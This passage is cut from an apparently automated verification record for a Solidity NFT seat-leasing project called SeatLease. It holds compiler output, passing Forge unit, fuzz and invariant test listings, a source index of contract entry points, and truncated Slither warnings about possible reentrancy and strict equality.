1097765)\n[PASS] test_credit_ethBooksToSeat() (gas: 1004328)\n[PASS] test_credit_feeOnTransferBooksReceivedAmount() (gas: 1733998)\n[PASS] test_credit_isReentrancyGuardedViaClaim() (gas: 1389161)\n[PASS] test_credit_rejectsSeatNftAsToken() (gas: 1040877)\n[PASS] test_credit_revertsOnEthValueMismatch() (gas: 907061)\n[PASS] test_credit_revertsOnEthWithErc20() (gas: 909403)\n[PASS] test_credit_revertsOnZeroAmount() (gas: 902290)\n[PASS] test_credit_revertsWhenNotDeposited() (gas: 46951)\n[PASS] test_credit_revertsWhenNothingArrives() (gas: 1388262)\n[PASS] test_credit_revertsWithoutAllowance() (gas: 911575)\n[PASS] test_mockDistributor_fundingAndFailedPayout() (gas: 218326)\n[PASS] test_skim_booksEthSentToHolder() (gas: 1049106)\n[PASS] test_skim_booksPushedRewardsFromThirdPartyClaim() (gas: 1844999)\n[PASS] test_skim_booksReceivedAmountOfFeeOnTransferToken() (gas: 1688848)\n[PASS] test_skim_booksTokenNotListedInClaim() (gas: 1200036)\n[PASS] test_skim_isReentrancyGuardedViaClaim() (gas: 1342313)\n[PASS] test_skim_reverts() (gas: 1516555)\n[PASS] test_sweepFor_paysFormerOwnerAfterWithdrawAndNotTheNextDepositor() (gas: 1763200)\n[PASS] test_sweepFor_revertsWhenNothingBookedToAccount() (gas: 1233214)\n[PASS] test_sweep_allToOperatorAt0() (gas: 1414965)\n[PASS] test_sweep_allToOwnerAt10000() (gas: 1401609)\n[PASS] test_sweep_allToOwnerWhenVacant() (gas: 1296320)\n[PASS] test_sweep_attributesEachBookingToTheTenureItHappenedIn() (gas: 2270834)\n[PASS] test_sweep_bondTokenAsRewardDoesNotTouchBond() (gas: 1404950)\n[PASS] test_sweep_erc20SplitsAt5000() (gas: 1519183)\n[PASS] test_sweep_ethSplitsAt5000() (gas: 1447781)\n[PASS] test_sweep_isReentrancyGuarded() (gas: 1459990)\n[PASS] test_sweep_ownerOperatingOwnSeatIsPaidOnce() (gas: 1317195)\n[PASS] test_sweep_retainsShareWhenOperatorRejectsEth() (gas: 1605770)\n[PASS] test_sweep_retainsShareWhenOwnerRejectsEth() (gas: 1270116)\n[PASS] test_sweep_retainsShareWhenRecipientBurnsAllGas() (gas: 1535762)\n[PASS] test_sweep_retainsShareWhenTokenRefusesRecipient() (gas: 2361146)\n[PASS] test_sweep_revertsWhenNotDeposited() (gas: 39978)\n[PASS] test_sweep_revertsWhenNothingBooked() (gas: 904202)\n[PASS] test_sweep_roundsDustToOperator() (gas: 1341798)\n[PASS] test_sweep_sharesBookedDuringTenureStayWithCutOperator() (gas: 1607163)\n[PASS] test_sweep_takerGetsNothingBookedBeforeItsTenure() (gas: 1535764)\nSuite result: ok. 65 passed; 0 failed; 0 skipped; finished in 212.50ms (337.25ms CPU time)\n\nRan 1 test for test/SeatLease.invariants.t.sol:SeatLeaseInvariantTest\n[PASS]\nSeatLeaseInvariantTest invariants:\n[PASS] invariant_bondOnlyWhileOccupied\n[PASS] invariant_nftHeldIffDeposited\n[PASS] invariant_sharesSumToCredited\n[PASS] invariant_solvent\n[PASS] invariant_sweptNeverExceedsCredited\n SeatLeaseInvariantTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭----------+----------+-------+---------+----------╮\n| Contract | Selector | Calls | Reverts | Discards |\n+==================================================+\n| Handler  | claim    | 195   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | credit   | 180   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | cut      | 163   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | deposit  | 161   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | passTime | 165   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | quit     | 153   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | setTerms | 185   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | skim     | 169   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | sweep    | 160   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | sweepFor | 172   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | take     | 171   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | withdraw | 174   | 0       | 0        |\n╰----------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 4078\n  Bound result 10\n  Bound result 786100748554785823573\n  Bound result 1347007095\n  Bound result 134\n  Bound result 950244532452338567668\n  Bound result 8330\n  Bound result 270\n  Bound result 18446744073709551614\n  Bound result 1990\n  Bound result 2078\n  Bound result 105\n  Bound result 14003\n  Bound result 3305215687053970378\n  Bound result 52\n  Bound result 83818694722849\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.58s (1.58s CPU time)\n\nRan 2 tests for test/SeatLease.stateful.t.sol:SeatLeaseStatefulInvariantTest\n[PASS]\nSeatLeaseStatefulInvariantTest invariants:\n[PASS] invariant_bondOnlyForOccupiedOpenSeats\n[PASS] invariant_bookedTotalsMatchSeatBookings\n[PASS] invariant_erc1271MirrorsOperators\n[PASS] invariant_nftCustody\n[PASS] invariant_solventPerAsset\n[PASS] invariant_usedRequestsStayUsed\n SeatLeaseStatefulInvariantTest invariants (runs: 96, calls: 6144, reverts: 0)\n\n╭-----------------+-------------+-------+---------+----------╮\n| Contract        | Selector    | Calls | Reverts | Discards |\n+============================================================+\n| StatefulHandler | claim       | 496   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | credit      | 530   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | cut         | 462   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | cutByOracle | 452   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | deposit     | 462   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | donate      | 459   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | passTime    | 485   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | quit        | 463   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | setTerms    | 447   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | sweep       | 458   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | sweepFor    | 466   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | take        | 498   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | withdraw    | 466   | 0       | 0        |\n╰-----------------+-------------+-------+---------+----------╯\n\nLogs:\n  Bound result 12\n  Bound result 255\n  Bound result 4\n  Bound result 6684\n  Bound result 1800\n  Bound result 1144\n  Bound result 200\n  Bound result 0\n  Bound result 2039\n  Bound result 4001\n  Bound result 400\n  Bound result 2648\n  Bound result 843\n  Bound result 32\n\n[PASS] test_handlerCoversTenureChangesAndWithdrawnShareRecovery() (gas: 15160379)\nLogs:\n  Bound result 5000\n  Bound result 100\n  Bound result 100\n  Bound result 40\n  Bound result 10\n  Bound result 20\n  Bound result 10\n  Bound result 0\n  Bound result 100\n  Bound result 3600\n  Bound result 7\n  Bound result 5000\n  Bound result 100\n  Bound result 3600\n  Bound result 9\n  Bound result 1\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 14.55s (14.56s CPU time)\n\nRan 8 test suites in 14.55s (16.93s CPU time): 249 tests passed, 0 failed, 0 skipped (249 total tests)\n","passed":true},{"durationMs":64,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LaunchToken.approve(address,uint256)\",\"LaunchToken.transfer(address,uint256)\",\"LaunchToken.transferFrom(address,address,uint256)\",\"SeatHolder.execute(address,bytes)\",\"SeatHolder.receive()\",\"SeatHolder.release(address,uint256)\",\"SeatHolder.releaseNft(address)\",\"SeatLease.claim(uint256,address,bytes,address[])\",\"SeatLease.credit(uint256,address,uint256)\",\"SeatLease.cut(uint256)\",\"SeatLease.cutByOracle(uint256,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint64,uint64),bytes)\",\"SeatLease.deposit(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.quit(uint256)\",\"SeatLease.receive()\",\"SeatLease.redeemBond()\",\"SeatLease.setTerms(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.skim(uint256,address)\",\"SeatLease.sweep(uint256,address)\",\"SeatLease.sweepFor(uint256,address,address)\",\"SeatLease.take(uint256)\",\"SeatLease.withdraw(uint256)\"],\"files\":{\".gas-snapshot\":184,\"README.md\":433,\"REVIEW.md\":185,\"deployments/anvil-31337.json\":64,\"foundry.toml\":48,\"launch.json\":17,\"remappings.txt\":2,\"script/Deploy.s.sol\":69,\"src/LaunchToken.sol\":17,\"src/SeatHolder.sol\":79,\"src/SeatLease.sol\":841,\"src/mocks/MockDistributor.sol\":44,\"src/mocks/MockERC20.sol\":13,\"src/mocks/MockSeatNFT.sol\":13,\"test/Deploy.t.sol\":101,\"test/LaunchToken.t.sol\":35,\"test/REVISION.md\":42,\"test/SeatLease.adversarial.t.sol\":1181,\"test/SeatLease.invariants.t.sol\":318,\"test/SeatLease.lifecycle.t.sol\":879,\"test/SeatLease.rewards.t.sol\":1046,\"test/SeatLease.signatures.t.sol\":574,\"test/SeatLease.stateful.t.sol\":590,\"test/seatlease-revision.gas-snapshot\":52,\"test/utils/Actors.sol\":318,\"test/utils/Base.sol\":202},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"0b2b59dd67d86fcc75f051d41cc0b9432af70ede7c56531d285ba4854872d83d","verifiedTreeHash":"f2e35ac069acc43f2fa7df5568e8ae1a1419fa14","verifierVersion":"0.1.0+042c10fc"},{"checks":[{"durationMs":4849,"exitCode":0,"name":"build","output":"Compiling 66 files with Solc 0.8.26\nSolc 0.8.26 finished in 4.69s\nCompiler run successful!\n","passed":true},{"durationMs":1582,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/LaunchToken.t.sol:LaunchTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 70237)\n[PASS] test_noMintFunction() (gas: 35726)\n[PASS] test_transferMovesExactAmount() (gas: 84880)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 604.04µs (227.77µs CPU time)\n\nRan 5 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deploy_mixedMocks() (gas: 5062413)\n[PASS] test_deploy_refusesMocksOnMainnet() (gas: 34870)\n[PASS] test_deploy_requiresAddressesWithoutMocks() (gas: 62789)\n[PASS] test_deploy_withExistingAddresses() (gas: 4634302)\n[PASS] test_deploy_withMocks() (gas: 5952206)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 1.30ms (1.61ms CPU time)\n\nRan 40 tests for test/SeatLease.signatures.t.sol:SeatLeaseSignaturesTest\n[PASS] testFuzz_cutByOracle_onlyOracleKeyPasses(uint256) (runs: 256, μ: 80197, ~: 80166)\nLogs:\n  Bound result 1160911424739\n\n[PASS] testFuzz_isValidSignature_arbitraryBytesNeverPass(bytes,bytes32) (runs: 256, μ: 13322, ~: 13319)\n[PASS] testFuzz_isValidSignature_onlyOperatorKeyPasses(uint256) (runs: 256, μ: 50334, ~: 50301)\nLogs:\n  Bound result 1\n\n[PASS] test_cutByOracle_acceptsAttestationIssuedAtTakeTime() (gas: 169581)\n[PASS] test_cutByOracle_attestationForAnotherRegistryIsRejected() (gas: 123291)\n[PASS] test_cutByOracle_forfeitsBondToOwner() (gas: 219675)\n[PASS] test_cutByOracle_ownerCannotRecycleAttestationAgainstNextOperator() (gas: 601301)\n[PASS] test_cutByOracle_permissionedSeatForfeitsNothing() (gas: 301473)\n[PASS] test_cutByOracle_rejectsAttestationIssuedBeforeCurrentTenure() (gas: 412021)\n[PASS] test_cutByOracle_rejectsExpired() (gas: 199868)\n[PASS] test_cutByOracle_rejectsFalseAnswer() (gas: 62184)\n[PASS] test_cutByOracle_rejectsMalformedSignature() (gas: 64912)\n[PASS] test_cutByOracle_rejectsNonBoolType() (gas: 56721)\n[PASS] test_cutByOracle_rejectsObservationWindowStartingBeforeCurrentTenure() (gas: 441309)\n[PASS] test_cutByOracle_rejectsOddAnswerEncodings() (gas: 176063)\n[PASS] test_cutByOracle_rejectsSeatWithoutOracle() (gas: 324878)\n[PASS] test_cutByOracle_rejectsTamperedAttestation() (gas: 73734)\n[PASS] test_cutByOracle_rejectsVacantAndUndeposited() (gas: 147469)\n[PASS] test_cutByOracle_rejectsWrongChainId() (gas: 60224)\n[PASS] test_cutByOracle_rejectsWrongQuestion() (gas: 61953)\n[PASS] test_cutByOracle_rejectsWrongSigner() (gas: 137073)\n[PASS] test_cutByOracle_replayIsRejected() (gas: 446503)\n[PASS] test_decodeAuthorization_roundTrips() (gas: 27919)\n[PASS] test_isValidSignature_acceptsOperatorSignedAuthorization() (gas: 83707)\n[PASS] test_isValidSignature_domainMatchesNetworkParameters() (gas: 11328)\n[PASS] test_isValidSignature_holderAnswersForItsSeat() (gas: 1085003)\n[PASS] test_isValidSignature_rejectsAfterCut() (gas: 96101)\n[PASS] test_isValidSignature_rejectsAnotherSeatsHolderAsWallet() (gas: 901278)\n[PASS] test_isValidSignature_rejectsBadOperatorSignatures() (gas: 109282)\n[PASS] test_isValidSignature_rejectsCrossSeatReplayOfBlob() (gas: 54338)\n[PASS] test_isValidSignature_rejectsDigestMismatch() (gas: 75567)\n[PASS] test_isValidSignature_rejectsExpired() (gas: 70398)\n[PASS] test_isValidSignature_rejectsMalformedBytes() (gas: 164378)\n[PASS] test_isValidSignature_rejectsNonOperatorSigner() (gas: 75943)\n[PASS] test_isValidSignature_rejectsOtherChain() (gas: 41269)\n[PASS] test_isValidSignature_rejectsRegistryAsWallet() (gas: 61228)\n[PASS] test_isValidSignature_rejectsTrailingAndNonCanonicalBytes() (gas: 131904)\n[PASS] test_isValidSignature_rejectsVacantSeat() (gas: 134498)\n[PASS] test_isValidSignature_rejectsWrongTokenId() (gas: 987987)\n[PASS] test_isValidSignature_rejectsWrongWallet() (gas: 41994)\nSuite result: ok. 40 passed; 0 failed; 0 skipped; finished in 31.28ms (77.11ms CPU time)\n\nRan 66 tests for test/SeatLease.lifecycle.t.sol:SeatLeaseLifecycleTest\n[PASS] testFuzz_bondRoundTrip(uint256) (runs: 256, μ: 1155256, ~: 1156921)\nLogs:\n  Bound result 0\n\n[PASS] testFuzz_onlyOperatorCanQuit(address) (runs: 256, μ: 1052007, ~: 1052007)\n[PASS] testFuzz_onlyOwnerCanAdminister(address) (runs: 256, μ: 990333, ~: 990333)\n[PASS] testFuzz_termsValidation(uint16,uint16) (runs: 256, μ: 775815, ~: 808320)\nLogs:\n  Bound result 333\n\n[PASS] test_constructor_recordsParameters() (gas: 75950)\n[PASS] test_constructor_rejectsZeroAddresses() (gas: 6598)\n[PASS] test_cut_escrowsBondWhenTransferReverts() (gas: 2066188)\n[PASS] test_cut_returnsBondToOperator() (gas: 1172112)\n[PASS] test_cut_revertsForNonOwner() (gas: 1051690)\n[PASS] test_cut_revertsWhenNotDeposited() (gas: 39779)\n[PASS] test_cut_revertsWhenVacant() (gas: 900083)\n[PASS] test_deposit_acceptsMaxListing() (gas: 937257)\n[PASS] test_deposit_holderIsDeterministicAndReused() (gas: 2063076)\n[PASS] test_deposit_longAfterWithdrawIsActiveAtOnce() (gas: 1430491)\n[PASS] test_deposit_recordsOwnerTermsAndHoldsNft() (gas: 962090)\n[PASS] test_deposit_rejectsHookForDifferentTokenId() (gas: 1373761)\n[PASS] test_deposit_rejectsHookFromStrangerDuringDeposit() (gas: 1383330)\n[PASS] test_deposit_revertsOnBadBps() (gas: 671513)\n[PASS] test_deposit_revertsOnLongListing() (gas: 673059)\n[PASS] test_deposit_revertsWhenAlreadyDeposited() (gas: 900707)\n[PASS] test_deposit_revertsWhenCallerDoesNotOwnNft() (gas: 50482)\n[PASS] test_deposit_revertsWhenNftDidNotArrive() (gas: 1372966)\n[PASS] test_deposit_revertsWithoutApproval() (gas: 797790)\n[PASS] test_deposit_worksWithMinimalNft() (gas: 1368418)\n[PASS] test_holder_onlyRegistryMayDrive() (gas: 988918)\n[PASS] test_holder_releaseEthRevertsWhenRegistryCannotReceive() (gas: 213574)\n[PASS] test_onERC721Received_holderRejectsDirectCall() (gas: 890998)\n[PASS] test_onERC721Received_holderRejectsDirectTransferOfSeatNft() (gas: 1175680)\n[PASS] test_onERC721Received_holderRejectsOtherCollections() (gas: 1013200)\n[PASS] test_onERC721Received_registryRefusesEveryNft() (gas: 85183)\n[PASS] test_quit_acceptsTransferReturningNothing() (gas: 1880756)\n[PASS] test_quit_escrowsBondWhenTransferReturnsFalse() (gas: 1879854)\n[PASS] test_quit_escrowsBondWhenTransferReturnsShortData() (gas: 1893905)\n[PASS] test_quit_permissionedReturnsNothing() (gas: 979744)\n[PASS] test_quit_returnsBondAndClearsOperator() (gas: 1140729)\n[PASS] test_quit_revertsForNonOperator() (gas: 1084367)\n[PASS] test_quit_revertsWhenVacantOrUnknown() (gas: 930621)\n[PASS] test_receive_revertsOnPlainEth() (gas: 41750)\n[PASS] test_redeemBond_revertsWhenNothingOwed() (gas: 39721)\n[PASS] test_redeposit_afterWithdrawStartsClean() (gas: 1332265)\n[PASS] test_seatCanBeRetakenAfterQuit() (gas: 1260824)\n[PASS] test_setTerms_revertsForNonOwner() (gas: 897046)\n[PASS] test_setTerms_revertsOnBadBpsAndListing() (gas: 928767)\n[PASS] test_setTerms_revertsWhenNotDeposited() (gas: 36884)\n[PASS] test_setTerms_revertsWhenOccupied() (gas: 1050685)\n[PASS] test_setTerms_updatesVacantSeat() (gas: 982125)\n[PASS] test_take_frontRunWithSwappedOracleSignerDoesNotSeatTheVictim() (gas: 1116927)\n[PASS] test_take_isReentrancyGuarded() (gas: 1736184)\n[PASS] test_take_open_anyoneMayTake() (gas: 1049868)\n[PASS] test_take_open_feeOnTransferBondRecordsActualAmount() (gas: 1782856)\n[PASS] test_take_open_pullsBondAndSetsOperator() (gas: 1092651)\n[PASS] test_take_open_revertsWithoutAllowance() (gas: 915335)\n[PASS] test_take_open_zeroBondPullsNothing() (gas: 966240)\n[PASS] test_take_permissionedIsDelayedToo() (gas: 1040519)\n[PASS] test_take_permissioned_ignoresBondAmount() (gas: 960328)\n[PASS] test_take_permissioned_onlyAllowedOperator() (gas: 1028277)\n[PASS] test_take_refusedAfterWithdrawAndRedepositUntilDelayPasses() (gas: 1499191)\n[PASS] test_take_refusedUntilChangedTermsAreActive() (gas: 1268008)\n[PASS] test_take_revertsWhenNotDeposited() (gas: 39835)\n[PASS] test_take_revertsWhenOccupied() (gas: 1103025)\n[PASS] test_withdraw_afterQuitAndCut() (gas: 1173254)\n[PASS] test_withdraw_returnsNftAndClearsSeat() (gas: 1003900)\n[PASS] test_withdraw_revertsForNonOwner() (gas: 900104)\n[PASS] test_withdraw_revertsWhenNotDeposited() (gas: 39789)\n[PASS] test_withdraw_revertsWhenOccupied() (gas: 1067338)\n[PASS] test_withdraw_worksForContractOwnerWithoutReceiverHook() (gas: 1268517)\nSuite result: ok. 66 passed; 0 failed; 0 skipped; finished in 34.40ms (141.92ms CPU time)\n\nRan 65 tests for test/SeatLease.rewards.t.sol:SeatLeaseRewardsTest\n[PASS] testFuzz_anyoneCanCreditAndSweep(address,uint256) (runs: 256, μ: 1406145, ~: 1407821)\nLogs:\n  Bound result 7095810377744665993536\n\n[PASS] testFuzz_sweepEthSplit(uint16,uint96) (runs: 256, μ: 1223016, ~: 1229335)\nLogs:\n  Bound result 280\n\n[PASS] testFuzz_sweepSplit(uint16,uint256) (runs: 256, μ: 1354030, ~: 1361588)\nLogs:\n  Bound result 0\n  Bound result 8590425215037404261647\n\n[PASS] test_book_emitsSharesAtBookingTime() (gas: 1248082)\n[PASS] test_claim_booksEthAndTokenWhenBothListed() (gas: 1239416)\n[PASS] test_claim_booksEthEvenWhenNotListed() (gas: 1093585)\n[PASS] test_claim_booksOnlyTheCallersSeatPayout() (gas: 2189645)\n[PASS] test_claim_booksTokenIncrease() (gas: 1414717)\n[PASS] test_claim_cannotDrainBookedEthByTargetingZeroAddress() (gas: 1014532)\n[PASS] test_claim_duplicateEthAndTokenEntriesBookOnce() (gas: 1244552)\n[PASS] test_claim_duplicateTokenEntriesBookOnce() (gas: 2316603)\n[PASS] test_claim_ethFromPlainPayerIsBooked() (gas: 1182822)\n[PASS] test_claim_forbidsNftBondSelfAndBookedTokens() (gas: 1261303)\n[PASS] test_claim_forbidsTargetWithoutCode() (gas: 907044)\n[PASS] test_claim_forbidsTokenTargetEvenWhenNothingBooked() (gas: 2973374)\n[PASS] test_claim_isMadeByTheHolderNotTheRegistry() (gas: 1316980)\n[PASS] test_claim_ownerCanRouteRecipientParameterisedPayoutsAway_documented() (gas: 1588873)\n[PASS] test_claim_payoutKeyedToRegistryIsNotBookedToAnySeat() (gas: 1844506)\n[PASS] test_claim_reentrancyIntoSweepClaimAndCutIsBlocked() (gas: 2222699)\n[PASS] test_claim_reentrantWithdrawIsBlocked() (gas: 1351243)\n[PASS] test_claim_rejectsSeatNftInTokenList() (gas: 920422)\n[PASS] test_claim_revertsForNonOwner() (gas: 1055610)\n[PASS] test_claim_revertsWhenListedBalanceDecreases() (gas: 1852312)\n[PASS] test_claim_revertsWhenNftLeaves() (gas: 1513378)\n[PASS] test_claim_revertsWhenNotDeposited() (gas: 43802)\n[PASS] test_claim_revertsWhenTargetReverts() (gas: 915636)\n[PASS] test_claim_zeroGainBooksNothing() (gas: 955399)\n[PASS] test_credit_erc20BooksToSeat() (gas: 1097765)\n[PASS] test_credit_ethBooksToSeat() (gas: 1004328)\n[PASS] test_credit_feeOnTransferBooksReceivedAmount() (gas: 1733998)\n[PASS] test_credit_isReentrancyGuardedViaClaim() (gas: 1389161)\n[PASS] test_credit_rejectsSeatNftAsToken() (gas: 1040877)\n[PASS] test_credit_revertsOnEthValueMismatch() (gas: 907061)\n[PASS] test_credit_revertsOnEthWithErc20() (gas: 909403)\n[PASS] test_credit_revertsOnZeroAmount() (gas: 902290)\n[PASS] test_credit_revertsWhenNotDeposited() (gas: 46951)\n[PASS] test_credit_revertsWhenNothingArrives() (gas: 1388262)\n[PASS] test_credit_revertsWithoutAllowance() (gas: 911575)\n[PASS] test_mockDistributor_fundingAndFailedPayout() (gas: 218326)\n[PASS] test_skim_booksEthSentToHolder() (gas: 1049106)\n[PASS] test_skim_booksPushedRewardsFromThirdPartyClaim() (gas: 1844999)\n[PASS] test_skim_booksReceivedAmountOfFeeOnTransferToken() (gas: 1688848)\n[PASS] test_skim_booksTokenNotListedInClaim() (gas: 1200036)\n[PASS] test_skim_isReentrancyGuardedViaClaim() (gas: 1342313)\n[PASS] test_skim_reverts() (gas: 1516555)\n[PASS] test_sweepFor_paysFormerOwnerAfterWithdrawAndNotTheNextDepositor() (gas: 1763200)\n[PASS] test_sweepFor_revertsWhenNothingBookedToAccount() (gas: 1233214)\n[PASS] test_sweep_allToOperatorAt0() (gas: 1414965)\n[PASS] test_sweep_allToOwnerAt10000() (gas: 1401609)\n[PASS] test_sweep_allToOwnerWhenVacant() (gas: 1296320)\n[PASS] test_sweep_attributesEachBookingToTheTenureItHappenedIn() (gas: 2270834)\n[PASS] test_sweep_bondTokenAsRewardDoesNotTouchBond() (gas: 1404950)\n[PASS] test_sweep_erc20SplitsAt5000() (gas: 1519183)\n[PASS] test_sweep_ethSplitsAt5000() (gas: 1447781)\n[PASS] test_sweep_isReentrancyGuarded() (gas: 1459990)\n[PASS] test_sweep_ownerOperatingOwnSeatIsPaidOnce() (gas: 1317195)\n[PASS] test_sweep_retainsShareWhenOperatorRejectsEth() (gas: 1605770)\n[PASS] test_sweep_retainsShareWhenOwnerRejectsEth() (gas: 1270116)\n[PASS] test_sweep_retainsShareWhenRecipientBurnsAllGas() (gas: 1535762)\n[PASS] test_sweep_retainsShareWhenTokenRefusesRecipient() (gas: 2361146)\n[PASS] test_sweep_revertsWhenNotDeposited() (gas: 39978)\n[PASS] test_sweep_revertsWhenNothingBooked() (gas: 904202)\n[PASS] test_sweep_roundsDustToOperator() (gas: 1341798)\n[PASS] test_sweep_sharesBookedDuringTenureStayWithCutOperator() (gas: 1607163)\n[PASS] test_sweep_takerGetsNothingBookedBeforeItsTenure() (gas: 1535764)\nSuite result: ok. 65 passed; 0 failed; 0 skipped; finished in 36.67ms (135.15ms CPU time)\n\nRan 1 test for test/SeatLease.invariants.t.sol:SeatLeaseInvariantTest\n[PASS]\nSeatLeaseInvariantTest invariants:\n[PASS] invariant_bondOnlyWhileOccupied\n[PASS] invariant_nftHeldIffDeposited\n[PASS] invariant_sharesSumToCredited\n[PASS] invariant_solvent\n[PASS] invariant_sweptNeverExceedsCredited\n SeatLeaseInvariantTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭----------+----------+-------+---------+----------╮\n| Contract | Selector | Calls | Reverts | Discards |\n+==================================================+\n| Handler  | claim    | 168   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | credit   | 174   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | cut      | 164   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | deposit  | 187   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | passTime | 155   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | quit     | 180   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | setTerms | 163   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | skim     | 179   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | sweep    | 158   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | sweepFor | 168   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | take     | 184   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | withdraw | 168   | 0       | 0        |\n╰----------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1622\n  Bound result 10\n  Bound result 49\n  Bound result 1821\n  Bound result 2\n  Bound result 523\n  Bound result 5\n  Bound result 256\n  Bound result 7\n  Bound result 13467\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.48s (1.48s CPU time)\n\nRan 6 test suites in 1.49s (1.59s CPU time): 180 tests passed, 0 failed, 0 skipped (180 total tests)\n","passed":true},{"durationMs":54,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LaunchToken.approve(address,uint256)\",\"LaunchToken.transfer(address,uint256)\",\"LaunchToken.transferFrom(address,address,uint256)\",\"SeatHolder.execute(address,bytes)\",\"SeatHolder.receive()\",\"SeatHolder.release(address,uint256)\",\"SeatHolder.releaseNft(address)\",\"SeatLease.claim(uint256,address,bytes,address[])\",\"SeatLease.credit(uint256,address,uint256)\",\"SeatLease.cut(uint256)\",\"SeatLease.cutByOracle(uint256,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint64,uint64),bytes)\",\"SeatLease.deposit(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.quit(uint256)\",\"SeatLease.receive()\",\"SeatLease.redeemBond()\",\"SeatLease.setTerms(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.skim(uint256,address)\",\"SeatLease.sweep(uint256,address)\",\"SeatLease.sweepFor(uint256,address,address)\",\"SeatLease.take(uint256)\",\"SeatLease.withdraw(uint256)\"],\"files\":{\".gas-snapshot\":184,\"README.md\":433,\"REVIEW.md\":185,\"deployments/anvil-31337.json\":64,\"foundry.toml\":48,\"remappings.txt\":2,\"script/Deploy.s.sol\":69,\"src/LaunchToken.sol\":17,\"src/SeatHolder.sol\":79,\"src/SeatLease.sol\":841,\"src/mocks/MockDistributor.sol\":44,\"src/mocks/MockERC20.sol\":13,\"src/mocks/MockSeatNFT.sol\":13,\"test/Deploy.t.sol\":101,\"test/LaunchToken.t.sol\":35,\"test/SeatLease.invariants.t.sol\":318,\"test/SeatLease.lifecycle.t.sol\":879,\"test/SeatLease.rewards.t.sol\":1030,\"test/SeatLease.signatures.t.sol\":574,\"test/utils/Actors.sol\":318,\"test/utils/Base.sol\":202},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":3535,"exitCode":0,"name":"slither","output":"[high/medium] reentrancy-balance at src/SeatLease.sol:457: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#457-487):\n[medium/high] incorrect-equality at src/SeatLease.sol:492: SeatLease.skim(uint256,address) (src/SeatLease.sol#492-498) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/SeatLease.sol:428: SeatLease.credit(uint256,address,uint256) (src/SeatLease.sol#428-445) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/SeatLease.sol:738: SeatLease._collect(uint256,SeatHolder,address) (src/SeatLease.sol#738-755) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:457: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#457-487):\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:457: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#457-487):\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:503: Reentrancy in SeatLease.sweep(uint256,address) 